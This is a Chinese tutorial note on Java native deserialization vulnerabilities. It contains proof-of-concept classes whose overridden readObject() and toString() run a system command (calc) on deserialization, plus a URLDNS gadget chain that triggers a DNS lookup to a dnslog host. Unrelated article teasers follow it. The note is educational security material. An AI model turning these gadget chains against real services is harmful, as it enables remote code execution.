第35天:安全开发-JavaEE应用原生反序列化重写方法链条分析触发类类加载

时间轴:

序列化与反序列化图解:

演示案例:

Java-原生使用-序列化&反序列化

Java-安全问题-重写方法&触发方法

Java-安全问题-可控其他类重写方法

Java-原生使用-序列化&反序列化

1.为什么进行序列化和反序列化?

个人理解:

因为如果转载使用ctrl+a和ctrl+v的话,那么会导致空格复制不过去什么的

使用序列化可以像是打包好了以后发过去。(源码打包好发过去为序列化,将源码的包解开发过来是反序列化)

打包->封装->文件(序列化)

文件->解包(反序列化)

案例演示:

1.创建SeriaTestDemo。

删除老几样(34天有说)

UserDemo:
package com.example.seriatestdemo;

import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.Serializable;

public class UserDemo implements Serializable {

    public String name="xiaodi";
    public String gender="man";
    public Integer age=30;


    public UserDemo(String name,String gender,Integer age){
        this.name=name;
        this.gender=gender;
        this.age = age;
        System.out.println(name);
        System.out.println(gender);
    }

    public String toString() {

        try {
            Runtime.getRuntime().exec("calc");
        } catch (IOException e) {
            throw new RuntimeException(e);
        }

        return "User{" +
                "name='" + name + '\'' +
                ", gender='" + gender + '\'' +
                ", age=" + age +
                '}';

    }

//    private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
//        //指向正确readObject
//        ois.defaultReadObject();
//        Runtime.getRuntime().exec("calc");
//    }



}

其中toString()为UserDemo的内置

序列化操作文件(SerializableDemo):
package com.example.seriatestdemo;

import java.io.FileNotFoundException;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;

public class SerializableDemo {
    public static void main(String[] args) throws IOException {
        //创建一个对象 引用UserDemo
        UserDemo u = new UserDemo("xdsec","gay1",30);
        //调用方法进行序列化
        SerializableTest(u);
        //ser.txt 就是对象u 序列化的字节流数据

    }

    public static void SerializableTest(Object obj) throws IOException {
        //FileOutputStream() 输出文件
        //将对象obj序列化后输出到文件ser.txt
        ObjectOutputStream oos= new ObjectOutputStream(new FileOutputStream("ser.txt"));
        oos.writeObject(obj);

    }

}

 运行逻辑:

下面写好了一个SerializableTest(obj),他的obj为u,u定义在了上面,UserDemo()写在了第一个文件中

以下为输出的字节流

反序列化操作文件(UnserializableDemo):
package com.example.seriatestdemo;

import java.io.*;

public class UnserializableDemo {
    public static void main(String[] args) throws IOException, ClassNotFoundException {
        //调用下面的方法 传输ser.txt 解析还原反序列化
        Object obj =UnserializableTest("ser.txt");

        //对obj对象进行输出 默认调用原始对象的toString方法
        System.out.println(obj);
    }


    public static Object UnserializableTest(String Filename) throws IOException, ClassNotFoundException {
        //读取Filename文件进行反序列化还原
        ObjectInputStream ois= new ObjectInputStream(new FileInputStream(Filename));
        Object o = ois.readObject();
        return o;
    }
}

运行结果:

转换前的数据

转换后的数据

安全问题:

反序列化利用链
(1) 入口类的 readObject 直接调用危险方法
(2) 入口参数中包含可控类,该类有危险方法, readObject 时调用
(3) 入口类参数中包含可控类,该类又调用其他有危险方法的类, readObject 时调用
(4) 构造函数 / 静态代码块等类加载时隐式执行

(1) 入口类的 readObject 直接调用危险方法

将readObject()直接调用导致冲突

UserDemo中:

    private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
        //指向正确readObject
        ois.defaultReadObject();
        Runtime.getRuntime().exec("calc");
    }

 与此处相互冲突:

运行时会报错:

理解:

ObjectInputStream ois= new ObjectInputStream(new FileInputStream(Filename));
Object o = ois.readObject();
return o;

readObiect()——>jdk 1.8

反序列化

ObjectInputStream ois= new ObjectInputStream(new FileInputStream(Filename));
Object o = ois.readObject();
return o;

重写readObject方法,执行计算器

相当于执行序列化对象里面的readObject方法  而不是本身

可以使用断点来调试:

选择第二个:

点击步入:

跑入到Runtime.java

应该跑入到这里:

可以使用010editor进行分析ser.txt:

指向正向的readObject(),若不指向下面没数据为空
   private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
        //指向正确readObject
        ois.defaultReadObject();
        Runtime.getRuntime().exec("calc");
(2) 入口参数中包含可控类,该类有危险方法,readObject 时调用
原理: 

如果换一个类 里面自带有readObject 会不会触发呢?

        //正常代码中 创建对象HashMap

        //用到原生态readObject方法去反序列化数据
        //readObject 在ObjectInputSteam 本来在这里
        //HashMap也有readObject方法

        //反序列化readObject方法调用 HashMap里面的readObject
        //执行链:
        //序列化对象hash 来源于自带类HashMap
//         *   Gadget Chain:
//                *   HashMap.readObject()
//                *       HashMap.putVal()
//                *         HashMap.hash()
//                *           URL.hashCode()
        //hashCode 执行结果 触发访问DNS请求 如果这里是执行命令的话 就是RCE漏洞

UrLDns:
package com.example.seriatestdemo;

import java.io.*;
import java.net.MalformedURLException;
import java.net.URL;
import java.util.HashMap;

public class UrLDns implements Serializable {
    public static void main(String[] args) throws IOException, ClassNotFoundException {
        //正常代码中 创建对象HashMap

        //用到原生态readObject方法去反序列化数据
        //readObject 在ObjectInputSteam 本来在这里
        //HashMap也有readObject方法

        //反序列化readObject方法调用 HashMap里面的readObject
        //执行链:
        //序列化对象hash 来源于自带类HashMap
//         *   Gadget Chain:
//                *   HashMap.readObject()
//                *       HashMap.putVal()
//                *         HashMap.hash()
//                *           URL.hashCode()
        //hashCode 执行结果 触发访问DNS请求 如果这里是执行命令的话 就是RCE漏洞

        HashMap<URL,Integer> hash = new HashMap<>();
        URL u=new URL("http://dmo1e2.dnslog.cn");
        hash.put(u,1);

        SerializableTest(hash);
        UnserializableTest("dns.txt");

    }


    public static void SerializableTest(Object obj) throws IOException {
        //FileOutputStream() 输出文件
        //将对象obj序列化后输出到文件ser.txt
        ObjectOutputStream oos= new ObjectOutputStream(new FileOutputStream("dns.txt"));
        oos.writeObject(obj);

    }

    public static Object UnserializableTest(String Filename) throws IOException, ClassNotFoundException {
        //读取Filename文件进行反序列化还原
        ObjectInputStream ois= new ObjectInputStream(new FileInputStream(Filename));
        Object o = ois.readObject();
        return o;
    }


}

使用正常方法会产生dns.txt

可以使用010editor进行查看:

正常情况下访问dns:

http://dnslog.cn/

能访问上的原因

 (https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/URLDNS.java


(3) 入口类参数中包含可控类,该类又调用其他有危险方法的类,readObject 时调用

(4) 构造函数/静态代码块等类加载时隐式执行
UnserializableDemo:
public class UnserializableDemo {
    public static void main(String[] args) throws IOException, ClassNotFoundException {
        //调用下面的方法 传输ser.txt 解析还原反序列化
        Object obj =UnserializableTest("ser.txt");

        //对obj对象进行输出 默认调用原始对象的toString方法
        System.out.println(obj);
    }
 UserDemo:
    @Override
    public String toString() {

        try {
            Runtime.getRuntime().exec("calc");
        } catch (IOException e) {
            throw new RuntimeException(e);
        }

        return "UserDemo{" +
                "name='" + name + '\'' +
                ", gender='" + gender + '\'' +
                ", age=" + age +
                '}';
    }

因为有toString()进行string方法的改变,在unserializableDemo中System.out.println(obj);//对obj对象进行输出 默认调用原始对象的toString方法

反序列化总结:

1 、序列化与反序列化
序列化:将内存中的对象压缩成字节流
反序列化:将字节流转化成内存中的对象
2 、为什么有序列化技术
序列化与反序列化的设计就是用来传输数据的。
当两个进程进行通信的时候,可以通过序列化反序列化来进行传输。
能够实现数据的持久化,通过序列化可以把数据永久的保存在硬盘上,也可以理解为通过
序列化将数据保存在文件中。
应用场景
(1) 想把内存中的对象保存到一个文件中或者是数据库当中。
(2) 用套接字在网络上传输对象。
(3) 通过 RMI 传输对象的时候。
3 、几种创建的序列化和反序列化协议
• JAVA 内置的 writeObject() / readObject()
• JAVA 内置的 XMLDecoder()/XMLEncoder
• XStream
• SnakeYaml
• FastJson
• Jackson
4 、为什么会出现反序列化安全问题
内置原生写法分析
重写 readObject 方法
输出调用 toString 方法
5 、反序列化利用链
(1) 入口类的 readObject 直接调用危险方法
(2) 入口参数中包含可控类,该类有危险方法, readObject 时调用
(3) 入口类参数中包含可控类,该类又调用其他有危险方法的类, readObject 时调用
(4) 构造函数 / 静态代码块等类加载时隐式执行
本文章由李豆豆喵和番薯小羊卷~共同完成!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/957547.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

Python----Python高级(文件操作open,os模块对于文件操作,shutil模块 )

一、文件处理 1.1、文件操作的重要性和应用场景 1.1.1、重要性 数据持久化&#xff1a; 文件是存储数据的一种非常基本且重要的方式。通过文件&#xff0c;我们可 以将程序运行时产生的数据永久保存下来&#xff0c;以便将来使用。 跨平台兼容性&#xff1a; 文件是一种通用…

[MCAL]Mcu配置

PostBuild: PreCompile: 选择时钟来源&#xff1b; 选择初始McuInitClock() 函数 电路手册里有晶振频率&#xff0c;如上所示&#xff1b;

(k8s)k8s部署mysql与redis(无坑版)

0.准备工作 在开始之前&#xff0c;要确保我们的节点已经加入网络并且已经准备好&#xff0c;如果没有可以去看我前面发表的踩坑与解决的文章&#xff0c;希望能够帮到你。 1.k8s部署redis 1.1目标 由于我们的服务器资源较小&#xff0c;所以决定只部署一个redis副本&#x…

Python新春烟花

目录 系列文章 写在前面 技术需求 完整代码 下载代码 代码分析 1. 程序初始化与显示设置 2. 烟花类 (Firework) 3. 粒子类 (Particle) 4. 痕迹类 (Trail) 5. 烟花更新与显示 6. 主函数 (fire) 7. 游戏循环 8. 总结 注意事项 写在后面 系列文章 序号直达链接爱…

机器学习09-Pytorch功能拆解

机器学习09-Pytorch功能拆解 我个人是Java程序员&#xff0c;关于Python代码的使用过程中的相关代码事项&#xff0c;在此进行记录 文章目录 机器学习09-Pytorch功能拆解1-核心逻辑脉络2-个人备注3-Pytorch软件包拆解1-Python有参和无参构造构造方法的基本语法示例解释注意事项…

AI在SEO中的关键词优化策略探讨

内容概要 在当今数字化时代&#xff0c;人工智能&#xff08;AI&#xff09;正逐渐重塑搜索引擎优化&#xff08;SEO&#xff09;行业。AI技术的快速发展使得SEO策略发生了翻天覆地的变化&#xff0c;特别是在关键词优化方面。关键词优化的基本概念是通过选择与用户搜索意图密…

探索与创作:2024年我在CSDN平台上的成长与突破

文章目录 我与CSDN的初次邂逅初学阶段的阅读CSDN&#xff1a;编程新手的避风港初学者的福音&#xff1a;细致入微的知识讲解考试复习神器&#xff1a;技术总结的“救命指南”曾经的自己&#xff1a;为何迟迟不迈出写博客的第一步兴趣萌芽&#xff1a;从“读”到“想写”的初体验…

element el-table合并单元格

合并 表格el-table添加方法:span-method"” <el-table v-loading"listLoading" :data"SHlist" ref"tableList" element-loading-text"Loading" border fit highlight-current-row :header-cell-style"headClass" …

行业热点丨低空飞行eVTOL的关键技术与发展趋势

本篇主要围绕eVTOL仿真难点和趋势&#xff0c;eVTOL仿真多学科解决方案和当下热门的AI或者机器学习的方法在EVTOL中的应用展开。 eVTOL 研发难点 首先是eVTOL研发难点&#xff0c;区别于上个世纪70年代就已经构型稳定或者技术方法稳定的民航客机&#xff0c;eVTOL到今天尚未有经…

BOBO小火炬全套源码XE修复版2025(火炬天花板二次开发版)

《小火炬全套源码 传奇游戏源码讲解》 小火炬全套源码是一种用于开发经典传奇类游戏的源码包。传奇游戏作为一款经典的多人在线角色扮演游戏&#xff08;MMORPG&#xff09;&#xff0c;有着庞大的用户基础和强大的游戏生态。小火炬全套源码主要提供了从基础架构到核心功能的完…

Flutter:搜索页,搜索bar封装

view 使用内置的Chip简化布局 import package:chenyanzhenxuan/common/index.dart; import package:ducafe_ui_core/ducafe_ui_core.dart; import package:flutter/material.dart; import package:get/get.dart; import package:tdesign_flutter/tdesign_flutter.dart;import i…

网络通信---MCU移植LWIP

使用的MCU型号为STM32F429IGT6&#xff0c;PHY为LAN7820A 目标是通过MCU的ETH给LWIP提供输入输出从而实现基本的Ping应答 OK废话不多说我们直接开始 下载源码 LWIP包源码&#xff1a;lwip源码 -在这里下载 ST官方支持的ETH包&#xff1a;ST-ETH支持包 这里下载 创建工程 …

麒麟操作系统服务架构保姆级教程(十三)tomcat环境安装以及LNMT架构

如果你想拥有你从未拥有过的东西&#xff0c;那么你必须去做你从未做过的事情 之前咱们学习了LNMP架构&#xff0c;但是PHP对于技术来说确实是老掉牙了&#xff0c;PHP的市场占有量越来越少了&#xff0c;我认识一个10年的PHP开发工程师&#xff0c;十年工资从15k到今天的6k&am…

elementUI Table组件实现表头吸顶效果

需求描述 当 table 内容过多的时候&#xff0c;页面上滑滚动&#xff0c;表头的信息也会随着被遮挡&#xff0c;无法将表头信息和表格内容对应起来&#xff0c;需要进行表头吸顶 开始编码&#x1f4aa; 环境&#xff1a;vue2.6、element UI step1&#xff1a; 给el-table__h…

AI 新动态:技术突破与应用拓展

目录 一.大语言模型的持续进化 二.AI 在医疗领域的深度应用 疾病诊断 药物研发 三.AI 与自动驾驶的新进展 四.AI 助力环境保护 应对气候变化 能源管理 后记 在当下科技迅猛发展的时代&#xff0c;人工智能&#xff08;AI&#xff09;无疑是最具影响力的领域之一。AI 技…

题解 CodeForces 131D Subway BFS C++

题目传送门 Problem - 131D - Codeforceshttps://codeforces.com/problemset/problem/131/Dhttps://codeforces.com/problemset/problem/131/D 翻译 地铁方案&#xff0c;对于Berland城市来说是一种经典的表示&#xff0c;由一组n站点和连接这些站点的n通道组成&#xff0c;…

如何查看某用户的Git提交数

说明&#xff1a;有些公司自己搭建的Git仓库&#xff0c;可以在仓库项目上查看各用户的提交量及占比。也可通过下面这两个Git命令&#xff0c;查看当前仓库&#xff0c;当前分支的总提交数&#xff0c;及某用户的提交数&#xff1b; # 当前分支的总提交数 git log --oneline |…

SQL sever数据导入导出实验

1.创建数据库TCP-H &#xff08;1&#xff09;右键“数据库”&#xff0c;点击“新建数据库”即可 &#xff08;2&#xff09;用sql语言创建&#xff0c;此处以创建数据库DB_test为例&#xff0c;代码如下&#xff1a; use master;go--检查在当前服务器系统中的所有数据里面…

Codeforces Round 903 (Div. 3) E. Block Sequence

题解&#xff1a; 想到从后向前DP f[i] 表示从 i ~ n 转化为“美观”所需要的最少的步骤 第一种转移方式&#xff1a;直接删除掉第i个元素&#xff0c;那么就是上一步 f[i 1] 加上 1;第二种转移方式&#xff1a;从第 i a[i] 1 个元素直接转移&#xff0c;不需要增加步数&a…

linux-FTP服务配置与应用

也许你对FTP不陌生&#xff0c;但是你是否了解FTP到底是个什么玩意&#xff1f; FTP 是File Transfer Protocol&#xff08;文件传输协议&#xff09;的英文简称&#xff0c;而中文简称为 “文传协议” 用于Internet上的控制文件的双向传输。同时&#xff0c;它也是一个应用程序…